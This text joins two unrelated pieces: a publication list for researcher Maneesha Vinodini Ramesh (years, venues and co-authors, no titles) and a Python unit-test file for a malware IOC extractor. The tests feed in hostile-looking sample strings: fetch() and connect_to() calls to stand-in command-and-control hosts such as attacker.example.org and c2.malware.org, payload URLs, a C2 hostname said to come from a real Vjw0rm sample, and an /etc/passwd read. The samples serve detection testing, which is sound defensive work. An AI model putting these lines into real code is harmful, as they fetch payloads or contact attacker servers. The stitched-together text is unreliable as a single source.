Maneesha Vinodini Ramesh

79 papers B 1C 1Misc 6Journal 24Unranked 46
YearRankTypeTitle / Venue / Authors
2026 J jnl
Inf. Softw. Technol.
Sangeeth Kumar, Maneesha Vinodini Ramesh
2026 J jnl
Multim. Tools Appl.
Simi Surendran, Maneesha Vinodini Ramesh, Usha Kumari P. V, Alberto Montresor
2025 J jnl
SN Comput. Sci.
Simi Surendran, Alberto Montresor, Maneesha Vinodini Ramesh
2025 J jnl
IEEE Access
M. S. Anjana, Aryadevi Remanidevi Devidas, Maneesha Vinodini Ramesh
2025 J jnl
Inf. Softw. Technol.
M. S. Anjana, Patricia Lago, Aryadevi Remanidevi Devidas, Maneesha Vinodini Ramesh
2024 J jnl
Future Internet
Adwitiya Mukhopadhyay, Aryadevi Remanidevi Devidas, P. Venkat Rangan, Maneesha Vinodini Ramesh
2024 J jnl
IEEE Access
Shereena Shaji, Rahul Krishnan Pathinarupothi, Ramesh Guntha, Ravi Sankaran, Prakash Ishwar, K. A. Unnikrishna Menon, Maneesha Vinodini Ramesh
2024 J jnl
IEEE Access
P. K. Indukala, U. G. Gosh, Maneesha Vinodini Ramesh
2024 J jnl
IEEE Access
G. D. Heshan Niranga, Aryadevi Remanidevi Devidas, Maneesha Vinodini Ramesh
2024 J jnl
IEEE Access
N. B. Sai Shibu, Aryadevi Remanidevi Devidas, S. Balamurugan, Seshaiah Ponnekanti, Maneesha Vinodini Ramesh
2023 conf
IC3I
Vipina Valsan, Kanakasabapathy P, Maneesha Vinodini Ramesh, Lokavarapu Varsha, Mucharla Deeksha, Suravarapu Ankith
2023 conf
SOLI
Nibi Kulangara Velayudhan, Aryadevi Remanidevi Devidas, Maneesha Vinodini Ramesh, Durgapu Sathvik, Janvi P, Kolluru Durga Naga Venkata Sreeja, Shyju P. Thadathil
2023 J jnl
IEEE Access
Simi Surendran, Maneesha Vinodini Ramesh, Alberto Montresor, Martin J. Montag
2023 Misc conf
ICDCN
Sruthy Anand, Dhanesh Raj, A. M. Abhishek Sai, Sethuraman N. Rao, Maneesha Vinodini Ramesh
2022 J jnl
IEEE Trans. Smart Grid
Aryadevi Remanidevi Devidas, Maneesha Vinodini Ramesh
2022 J jnl
Interactions
Maneesha Vinodini Ramesh, Alexander Muir, Krishna Nandanan, Rao R. Bhavani, Renjith Mohan
2022 J jnl
IEEE Access
Nibi Kulangara Velayudhan, Preeja Pradeep, Sethuraman N. Rao, Aryadevi Remanidevi Devidas, Maneesha Vinodini Ramesh
2022 conf
ANTS
Simi Surendran, Alberto Montresor, Maneesha Vinodini Ramesh, Paolo Casari
2022 J jnl
IEEE J. Sel. Top. Appl. Earth Obs. Remote. Sens.
Hemalatha Thirugnanam, Sebastian Uhlemann, Reshma Reghunadh, Maneesha Vinodini Ramesh, P. Venkat Rangan
2021 conf
ICDCN (Adjunct Volume)
Sruthy Anand, Maneesha Vinodini Ramesh
2021 conf
ICCCNT
Adithya Narayan K. A, Aswin Rakesh, Alok V, Ananthu M. P, Sruthy Anand, Maneesha Vinodini Ramesh
2021 conf
GHTC
Shereena Shaji, Rahul Krishnan Pathinarupothi, Ekanath Srihari Rangan, K. A. Unnikrishna Menon, Maneesha Vinodini Ramesh
2021 B conf
LCN
Simi Surendran, Maneesha Vinodini Ramesh, Alberto Montresor
2021 conf
BIBM
Rahul Krishnan Pathinarupothi, Dipu T. Sathyapalan, Merlin Moni, K. A. Unnikrishna Menon, Maneesha Vinodini Ramesh
2021 J jnl
IEEE Softw.
Ramesh Guntha, Sethuraman N. Rao, Henry Muccini, Maneesha Vinodini Ramesh
2021 J jnl
Future Internet
Jedsada Phengsuwan, Tejal Shah, Nipun Balan Thekkummal, Zhenyu Wen, Rui Sun, Divya Pullarkatt, Hemalatha Thirugnanam, Maneesha Vinodini Ramesh, Graham Morgan, Philip James, Rajiv Ranjan
2020 conf
GHTC
S. S. Sreeraj, A. Unnikrishnan, K. Vishnu, Noah E. Kennith, Sruthy Anand, Maneesha Vinodini Ramesh
2020 Misc conf
COMSNETS
Dhanesh Raj, Maneesha Vinodini Ramesh, Sethuraman N. Rao
2020 conf
GHTC
Lakshmi S. Gopal, Rekha Prabha, Divya Pullarkatt, Maneesha Vinodini Ramesh
2020 J jnl
Comput. Electr. Eng.
Simi Surendran, Maneesha Vinodini Ramesh, Martin J. Montag, Alberto Montresor
2020 J jnl
Wirel. Networks
Sangeeth Kumar, Subhasri Duttagupta, P. Venkat Rangan, Maneesha Vinodini Ramesh
2019 Misc conf
IRI
Jedsada Phengsuwan, Nipun Balan Thekkummal, Tejal Shah, Philip James, Dhavalkumar Thakker, Rui Sun, Divya Pullarkatt, Hemalatha Thirugnanam, Maneesha Vinodini Ramesh, Rajiv Ranjan
2019 conf
TESCA
M. S. Anjana, Maneesha Vinodini Ramesh, Aryadevi Remanidevi Devidas, K. Athira
2019 conf
TESCA
Maneesha Vinodini Ramesh
2019 J jnl
Int. J. Commun. Networks Distributed Syst.
S. Simi, Maneesha Vinodini Ramesh
2019 ed.
TESCA
P. Venkat Rangan, Nalini Venkatasubramanian, Maneesha Vinodini Ramesh, Serge Miranda
2018 conf
INFOCOM Workshops
Sethuraman N. Rao, Dhanesh Raj, Vickram Parthasarathy, S. Aiswarya, Maneesha Vinodini Ramesh, P. Venkat Rangan
2018 J jnl
Wirel. Networks
Aryadevi Remanidevi Devidas, Maneesha Vinodini Ramesh, Venkat Prasanna Rangan
2017 conf
GHTC
Gayathri S. Menon, Maneesha Vinodini Ramesh, P. L. Divya
2017 conf
GHTC
Sreekanth Narendran, Preeja Pradeep, Maneesha Vinodini Ramesh
2017 conf
GHTC
Vivek Mohan, Vidal Conejo Garcia, Malini L. M. Frey, Maneesha Vinodini Ramesh, Aryadevi Remanidevi Devidas, N. B. Sai Shibu, Renjith Mohan, Manoj Pokkiyarath
2017 conf
PerCom Workshops
Dhanesh Raj, Maneesha Vinodini Ramesh, Subhasri Duttagupta
2017 conf
ICACCI
K. Athira, Aryadevi Remanidevi Devidas, Maneesha Vinodini Ramesh, P. Venkat Rangan
2016 J jnl
EAI Endorsed Trans. Self Adapt. Syst.
Dilraj Nadarajan, Rakesh K, Rahul Krishnan Pathinarupothi, Maneesha Vinodini Ramesh
2016 conf
BHI
Anjali Arunan, Rahul Krishnan Pathinarupothi, Maneesha Vinodini Ramesh
2016 conf
GHTC
Balaji Hariharan, P. Venkat Rangan, Simi Surendran, P. Rekha, R. D. Arya Devi, Maneesha Vinodini Ramesh
2016 conf
MobiWIS
Rahul Krishnan Pathinarupothi, Bithin Alangot, Maneesha Vinodini Ramesh, Krishnashree Achuthan, P. Venkat Rangan
2016 conf
ICACCI
V. M. Lekshmy, P. Rekha, Maneesha Vinodini Ramesh
2016 conf
GHTC
Maneesha Vinodini Ramesh, Renjith Mohan, Soumya Menon
2016 conf
GHTC
Maneesha Vinodini Ramesh, Renjith Mohan, M. Nitin Kumar, Deepak Brahmanandan, C. Prakash, Prakash Lalith, M. Ananth Kumar, R. Ramkrishnan
2016 conf
GHTC
Sethuraman N. Rao, Maneesha Vinodini Ramesh, P. Venkat Rangan
2016 C conf
HealthCom
Rahul Krishnan Pathinarupothi, Maneesha Vinodini Ramesh, Ekanath Rangan
2016 conf
WiNTECH
Sangeeth Kumar, P. Venkat Rangan, Maneesha Vinodini Ramesh
2015 conf
ICITCS
K. Sangeeth, Preeja Pradeep, P. L. Divya, P. Rekha, R. D. Arya Devi, Sheeja L., Maneesha Vinodini Ramesh
2015 conf
SMARTGREENS
Aryadevi Remanidevi Devidas, Sweatha Rachel George, Maneesha Vinodini Ramesh
2015 conf
WTS
Preeja Pradeep, P. L. Divya, R. D. Arya Devi, P. Rekha, K. Sangeeth, Maneesha Vinodini Ramesh
2015 conf
ICITCS
Preeja Pradeep, P. L. Divya, R. D. Arya Devi, P. Rekha, K. Sangeeth, Tinu Vinod, Maneesha Vinodini Ramesh
2015 conf
CICSyN
Maneesha Vinodini Ramesh, Parvathy Rajan, P. L. Divya
2015 conf
SMARTGREENS
Maneesha Vinodini Ramesh, Neethu Mohan, Aryadevi Remanidevi Devidas
2015 conf
SMARTGREENS
Aryadevi Remanidevi Devidas, Maneesha Vinodini Ramesh
2014 J jnl
Ad Hoc Networks
Maneesha Vinodini Ramesh, Anjitha Shanmughan, Rekha Prabha
2014 J jnl
Ad Hoc Networks
Maneesha Vinodini Ramesh
2014 Misc conf
ICDCIT
Raghu Raman, Prema Nedungadi, Maneesha Vinodini Ramesh
2013 Misc conf
SenSys
Maneesha Vinodini Ramesh, Preeja Pradeep, P. L. Divya, R. D. Arya Devi, P. Rekha, K. Sangeeth, Y. V. Rayudu
2013 Misc conf
SenSys
Maneesha Vinodini Ramesh, P. Rekha, P. L. Divya, Simi Surendran
2013 conf
WOCN
Maneesha Vinodini Ramesh, P. T. Vidya, Preeja Pradeep
2013 conf
ICACCI
Aryadevi Remanidevi Devidas, T. S. Subeesh, Maneesha Vinodini Ramesh
2013 conf
AFRICOMM
Raghu Raman, Krishnashree Achuthan, Prema Nedungadi, Maneesha Vinodini Ramesh
2013 conf
WOCN
Aryadevi Remanidevi Devidas, T. S. Subeesh, Maneesha Vinodini Ramesh
2013 conf
ICACCI
Abishek Thekkeyil Kunnath, Dilraj Nadarajan, Manesh Mohan, Maneesha Vinodini Ramesh
2012 conf
WOCN
Maneesha Vinodini Ramesh, Sruthy Anand, P. Rekha
2012 conf
ICACCI
Maneesha Vinodini Ramesh, P. L. Divya, Raghavendra V. Kulkarni, Rekha Manoj
2012 conf
WOCN
Maneesha Vinodini Ramesh, T. A. Anu, Hemalatha Thirugnanam
2012 conf
WOCC
Maneesha Vinodini Ramesh, Prabaharan P., Shameem Ansar A., P. Rekha
2012 conf
ANT/MobiWIS
Abishek Thekkeyil Kunnath, Preeja Pradeep, Maneesha Vinodini Ramesh
2012 conf
ICACCI
Abishek Thekkeyil Kunnath, Preeja Pradeep, Maneesha Vinodini Ramesh
2012 conf
HPCC-ICESS
Aswathy B. Raj, Maneesha Vinodini Ramesh, Raghavendra V. Kulkarni, Hemalatha Thirugnanam
2011 conf
ACWR
Aryadevi Remanidevi Devidas, Maneesha Vinodini Ramesh
2008 conf
ICWN
Raj T. Rehana, Maneesha Vinodini Ramesh, K. Sangeeth
tests/unit/test_decompile_ioc_extractor.py
← Index tests/unit/test_decompile_ioc_extractor.py python
"""Unit tests for IOC extraction modules:
- ioc_extractor/ioc_extractor.py — IOCExtractorFromResults
- ioc_extractor/standalone_ioc_extractor.py — IOCScraper
"""
import pytest
from unittest.mock import MagicMock

from redb.extractors.ioc_extractor.standalone_ioc_extractor import (
    IOCScraper,
    IOCType,
    SourceType,
    ExtractedIOC,
)
from redb.extractors.ioc_extractor.ioc_extractor import IOCExtractorFromResults


# ============================================================================
# 8a. IOCExtractorFromResults
# ============================================================================

class TestIOCExtractorFromResults:
    def setup_method(self):
        self.log = MagicMock()

    def test_extract_from_strings(self):
        results = {
            "strings": [
                {"string": "Visit https://evil.com/payload", "string_offset": 0x100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_from_decompiled(self):
        results = {
            "strings": [],
            "decompiled": [
                {
                    "decompiled_function": "connect_to('https://c2.malware.org/gate');",
                    "decompiled_function_hash": "hash123",
                    "function_type": "USER",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_skips_library_functions(self):
        results = {
            "strings": [],
            "decompiled": [
                {
                    "decompiled_function": "call https://should-skip.com",
                    "decompiled_function_hash": "lib_hash",
                    "function_type": "LIBRARY",
                },
                {
                    "decompiled_function": "jmp https://also-skip.com",
                    "decompiled_function_hash": "thunk_hash",
                    "function_type": "THUNK",
                },
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert len(iocs) == 0

    def test_extract_handles_bytes_strings(self):
        results = {
            "strings": [
                {"string": b"Visit https://evil.net/gate", "string_offset": 0}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(ioc.ioc_type == IOCType.URL for ioc in iocs)

    def test_extract_empty_results(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert len(iocs) == 0

    def test_extract_from_text_raw(self):
        """text_raw entries are scraped and tagged with SourceType.TEXT_RAW."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_raw": [
                {
                    "content": "var x = fetch('https://attacker.example.org/c2');",
                    "content_hash": "rawhash",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(
            ioc.ioc_type == IOCType.URL and ioc.source_type == SourceType.TEXT_RAW
            for ioc in iocs
        )

    def test_extract_from_text_normalized(self):
        """text_normalized entries are scraped and tagged with TEXT_NORMALIZED.
        This is the surface that catches IOCs hidden behind eval(atob(...)) or
        similar wrappers — the deobfuscator unwraps them, this path scrapes
        the unwrapped form."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_normalized": [
                {
                    "content": "fetch('http://hidden.example.com/payload');",
                    "content_hash": "normhash",
                }
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        assert any(
            ioc.ioc_type == IOCType.URL
            and ioc.source_type == SourceType.TEXT_NORMALIZED
            for ioc in iocs
        )

    def test_extract_text_surfaces_distinct_from_decompiled(self):
        """Same URL appearing in raw and normalized forms produces two IOCs
        with distinct source_type values, so analysts can tell them apart."""
        from redb.extractors.ioc_extractor.standalone_ioc_extractor import SourceType

        results = {
            "text_raw": [
                {"content": "https://shared.example.com/", "content_hash": "h1"}
            ],
            "text_normalized": [
                {"content": "https://shared.example.com/", "content_hash": "h2"}
            ],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        iocs = extractor.extract()
        kinds = {ioc.source_type for ioc in iocs if ioc.ioc_type == IOCType.URL}
        assert SourceType.TEXT_RAW in kinds
        assert SourceType.TEXT_NORMALIZED in kinds

    def test_prepare_export_clickhouse(self):
        results = {
            "strings": [
                {"string": "https://evil.com/test", "string_offset": 100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("ClickHouseExporter")
        assert export is not None
        data, col_names, col_types = export
        assert len(data) > 0
        assert len(col_names) == 6
        assert len(col_types) == 6

    def test_prepare_export_print(self):
        results = {
            "strings": [
                {"string": "https://evil.com/test", "string_offset": 100}
            ],
            "decompiled": [],
        }
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("PrintExporter")
        assert isinstance(export, list)
        assert len(export) > 0
        assert "sha256" in export[0]
        assert "ioc_type" in export[0]

    def test_prepare_export_no_iocs(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        extractor.extract()
        export = extractor.prepare_export_data("ClickHouseExporter")
        assert export is None

    def test_get_clickhouse_table(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        assert extractor.get_clickhouse_table() == "redb_iocs"

    def test_tag(self):
        results = {"strings": [], "decompiled": []}
        extractor = IOCExtractorFromResults(results, sha256="a" * 64, log=self.log)
        tag = extractor.tag()
        assert isinstance(tag, str)


# ============================================================================
# 8b. IOCScraper (standalone_ioc_extractor.py)
# ============================================================================

class TestIOCScraperIPv4:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_ipv4(self):
        # Use a routable public IP (not in RFC 5737 test ranges, not private)
        text = "Connect to 185.100.87.202 for command"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv4_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV4]
        assert len(ipv4_iocs) == 1
        assert ipv4_iocs[0].ioc_value == "185.100.87.202"

    def test_scrape_ipv4_private_excluded(self):
        text = "192.168.1.1 and 8.8.8.8"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv4_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV4]
        assert len(ipv4_iocs) == 0


class TestIOCScraperIPv6:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_ipv6(self):
        text = "Connect to 2001:0db8:85a3:0000:0000:8a2e:0370:7334"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        ipv6_iocs = [i for i in iocs if i.ioc_type == IOCType.IPV6]
        # 2001:0db8 is documentation range, but the regex may still match
        # we just check no crash and proper handling
        assert isinstance(ipv6_iocs, list)


class TestIOCScraperURL:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_url(self):
        text = 'load("https://evil.com/payload")'
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) >= 1
        assert "evil.com" in url_iocs[0].ioc_value

    def test_scrape_defanged_url(self):
        text = "hxxps://evil[.]com/payload"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) >= 1


class TestIOCScraperEmail:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_email(self):
        text = "Send report to [email protected] for review"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        email_iocs = [i for i in iocs if i.ioc_type == IOCType.EMAIL]
        assert len(email_iocs) >= 1
        assert email_iocs[0].ioc_value == "[email protected]"


class TestIOCScraperFQDN:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_fqdn(self):
        text = "Resolved evil.com in DNS lookup"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        fqdn_iocs = [i for i in iocs if i.ioc_type == IOCType.FQDN]
        assert any(ioc.ioc_value == "evil.com" for ioc in fqdn_iocs)

    def test_scrape_fqdn_excluded(self):
        text = "Visit example.com"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        fqdn_iocs = [i for i in iocs if i.ioc_type == IOCType.FQDN]
        assert not any(ioc.ioc_value == "example.com" for ioc in fqdn_iocs)


class TestIOCScraperJSContext:
    """Verifies the JS-context FQDN filter rejects JS object-access syntax
    that shape-matches a hostname while preserving real C2 hostnames.

    The corpus below comes from a real Vjw0rm-family screenshot showing 12
    'Domains' extracted from a JS sample of which only 2 were genuine. The
    filter must drop the 10 FPs and keep the 2 TPs.
    """

    def _scrape_fqdns(self, scraper, fragment: str):
        # Wrap each fragment in spaces so the FQDN regex's lookbehind succeeds
        # (the pre-token character is a non-identifier).
        text = f" {fragment} "
        return [
            ioc.ioc_value
            for ioc in scraper.scrape(text, SourceType.STRING, "test")
            if ioc.ioc_type == IOCType.FQDN
        ]

    def test_default_mode_keeps_legacy_behavior(self):
        """Without js_context=True the filter is dormant — every FQDN that
        the regex catches must still pass _validate_fqdn the same way it did
        before this change."""
        scraper = IOCScraper()  # js_context defaults to False
        assert self._scrape_fqdns(scraper, "process.id") == ["process.id"]
        assert self._scrape_fqdns(scraper, "lib.so") == ["lib.so"]
        assert self._scrape_fqdns(scraper, "system.net") == ["system.net"]

    def test_js_context_drops_fp_tlds(self):
        """gTLDs that double as common JS property suffixes (`.name`, `.id`,
        `.so`, `.post`, `.services`, `.tools`, ...) are rejected wholesale
        when js_context is set."""
        scraper = IOCScraper(js_context=True)
        # Each of these is in the screenshot and must be rejected purely on
        # the TLD blocklist (some also hit the SLD blocklist, but the TLD
        # check fires first).
        assert self._scrape_fqdns(scraper, "component.name") == []
        assert self._scrape_fqdns(scraper, "exploit.name") == []
        assert self._scrape_fqdns(scraper, "func.name") == []
        assert self._scrape_fqdns(scraper, "proc.name") == []
        assert self._scrape_fqdns(scraper, "process.name") == []
        assert self._scrape_fqdns(scraper, "lib.so") == []
        assert self._scrape_fqdns(scraper, "proc.id") == []
        assert self._scrape_fqdns(scraper, "http.post") == []
        assert self._scrape_fqdns(scraper, "this.sandboxindicators.services") == []

    def test_js_context_drops_fp_slds(self):
        """JS keywords / framework roots used as the leftmost segment of a
        dotted chain are rejected even when the TLD is legitimate (`system.net`
        is the canonical example: `.net` is a real TLD but `system` is never
        a hostname)."""
        scraper = IOCScraper(js_context=True)
        assert self._scrape_fqdns(scraper, "system.net") == []
        assert self._scrape_fqdns(scraper, "this.foo.com") == []
        assert self._scrape_fqdns(scraper, "process.config.json") == []
        assert self._scrape_fqdns(scraper, "vue.app") == []
        assert self._scrape_fqdns(scraper, "firebase.io") == []

    def test_js_context_preserves_real_c2(self):
        """The screenshot's two true positives must survive: protocol prefix
        SLDs (`ftp`, `smtp`) are intentionally NOT in JS_FP_SLDS so legitimate
        C2 / exfil hostnames keep flowing into the IOC table."""
        scraper = IOCScraper(js_context=True)
        assert self._scrape_fqdns(scraper, "ftp.syfrusvoid.com") == ["ftp.syfrusvoid.com"]
        assert self._scrape_fqdns(scraper, "smtp.gmail.com") == ["smtp.gmail.com"]
        # And a generic malware-style hostname (no TLD/SLD overlap with code)
        # still passes:
        assert self._scrape_fqdns(scraper, "evil-c2.example.org") == ["evil-c2.example.org"]


class TestIOCScraperOnion:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_onion(self):
        # v2 onion address (16 chars)
        text = "Connect to expyuzz4wqqyqhjn.onion"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        onion_iocs = [i for i in iocs if i.ioc_type == IOCType.ONION]
        assert len(onion_iocs) >= 1


class TestIOCScraperHashes:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_md5_hash(self):
        md5_val = "d41d8cd98f00b204e9800998ecf8427e"
        text = f"Hash: {md5_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        md5_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_MD5]
        assert len(md5_iocs) == 1

    def test_scrape_sha1_hash(self):
        sha1_val = "da39a3ee5e6b4b0d3255bfef95601890afd80709"
        text = f"Hash: {sha1_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha1_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA1]
        assert len(sha1_iocs) == 1

    def test_scrape_sha256_hash(self):
        sha256_val = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
        text = f"Hash: {sha256_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha256_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA256]
        assert len(sha256_iocs) == 1

    def test_scrape_hash_dedup(self):
        # A SHA256 match should prevent the same hex being emitted as SHA1 substring
        sha256_val = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
        text = f"Hash: {sha256_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha256_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA256]
        sha1_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA1]
        # SHA256 first 40 chars should not appear as separate SHA1
        assert len(sha256_iocs) >= 1
        first40 = sha256_val[:40]
        assert not any(ioc.ioc_value == first40 for ioc in sha1_iocs)

    def test_scrape_invalid_hash(self):
        # All zeros should be excluded
        text = "Hash: " + "0" * 32
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        hash_iocs = [i for i in iocs if i.ioc_type in (IOCType.HASH_MD5, IOCType.HASH_SHA1, IOCType.HASH_SHA256)]
        assert len(hash_iocs) == 0


class TestIOCScraperCVECWE:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_cve(self):
        text = "Exploiting CVE-2021-44228"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        cve_iocs = [i for i in iocs if i.ioc_type == IOCType.CVE]
        assert len(cve_iocs) == 1
        assert cve_iocs[0].ioc_value == "CVE-2021-44228"

    def test_scrape_cwe(self):
        text = "This is CWE-79 in action"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        cwe_iocs = [i for i in iocs if i.ioc_type == IOCType.CWE]
        assert len(cwe_iocs) == 1
        assert cwe_iocs[0].ioc_value == "CWE-79"


class TestIOCScraperCrypto:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_btc_address(self):
        # A valid-looking BTC P2PKH address
        text = "Send BTC to 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        btc_iocs = [i for i in iocs if i.ioc_type == IOCType.CRYPTO_BTC]
        assert len(btc_iocs) >= 1

    def test_scrape_eth_address(self):
        text = "ETH wallet: 0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        eth_iocs = [i for i in iocs if i.ioc_type == IOCType.CRYPTO_ETH]
        assert len(eth_iocs) >= 1


class TestIOCScraperPaths:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_linux_path(self):
        text = "Read config from /etc/passwd"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_LINUX]
        assert len(path_iocs) >= 1
        assert any("/etc/passwd" in ioc.ioc_value for ioc in path_iocs)

    def test_scrape_windows_path(self):
        text = r"Load from C:\Windows\System32\cmd.exe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert len(path_iocs) >= 1
        assert any(r"C:\Windows\System32\cmd.exe" in ioc.ioc_value for ioc in path_iocs)

    def test_scrape_windows_path_source_escaped(self):
        """Paths embedded in JS / JSON / PowerShell string literals appear with
        doubled backslashes. The regex must accept both forms, and the stored
        IOC must be normalised so escaped and runtime forms collapse to one."""
        text = "const exclusions = ['C:\\\\Windows\\\\Temp', 'C:\\\\Users\\\\Public'];"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert len(path_iocs) >= 2
        values = {ioc.ioc_value for ioc in path_iocs}
        assert r"C:\Windows\Temp" in values
        assert r"C:\Users\Public" in values
        assert not any("\\\\" in v for v in values), f"backslashes not normalised: {values}"

    def test_scrape_windows_path_with_wildcard(self):
        """Malware commonly uses wildcard paths like the Defender-exclusion
        pattern below; `*` is a valid path component and must be preserved."""
        text = "'C:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Temp'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Users\*\AppData\Local\Temp" == ioc.ioc_value for ioc in path_iocs)

    # --- Behaviour-pinning regression tests -----------------------------------
    # These lock in the trade-offs of the two-tier component grammar (strict
    # first char, permissive body in delimited segments, strict final segment,
    # colon excluded from bodies). Every one of them was a real-or-potential
    # regression while the regex was being rewritten.

    def test_path_with_internal_space(self):
        """`Program Files` is the canonical reason segment bodies must allow
        whitespace. The old regex's permissive body class was correct on this
        case; the new grammar must preserve it."""
        text = r"Path: C:\Program Files\Microsoft\app.exe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Program Files\Microsoft\app.exe" == ioc.ioc_value for ioc in path_iocs)

    def test_path_with_internal_space_in_escaped_form(self):
        """The combination of source-escaping and internal whitespace is the
        case the old regex got wrong (it required single backslashes) and the
        first iteration of the new regex got wrong (it forbade whitespace
        everywhere). Both must work now."""
        text = "'C:\\\\Program Files (x86)\\\\Microsoft\\\\app.exe'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Program Files (x86)\Microsoft\app.exe" == ioc.ioc_value for ioc in path_iocs)

    def test_path_stops_at_whitespace_when_no_separator_follows(self):
        """The strict final-segment class prevents prose-slurping. Critical
        because segment bodies allow whitespace — without this, every path
        followed by free text would gobble the rest of the line."""
        text = r"see c:\users\admin and other stuff"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(ioc.ioc_value == r"c:\users\admin" for ioc in path_iocs)
        assert not any("stuff" in ioc.ioc_value for ioc in path_iocs)

    def test_two_drives_separated_by_prose_match_independently(self):
        """`From C:\\one to D:\\two` must yield two IOCs, not one slurp.
        Pinned because excluding `:` from segment bodies is what enables this
        — without that exclusion, ` to D:` would be valid body of segment 1."""
        text = r"From C:\one to D:\two"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert r"C:\one" in values
        assert r"D:\two" in values

    def test_path_lowercase_drive(self):
        text = r"Backup at d:\backup\db.sql"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(ioc.ioc_value == r"d:\backup\db.sql" for ioc in path_iocs)

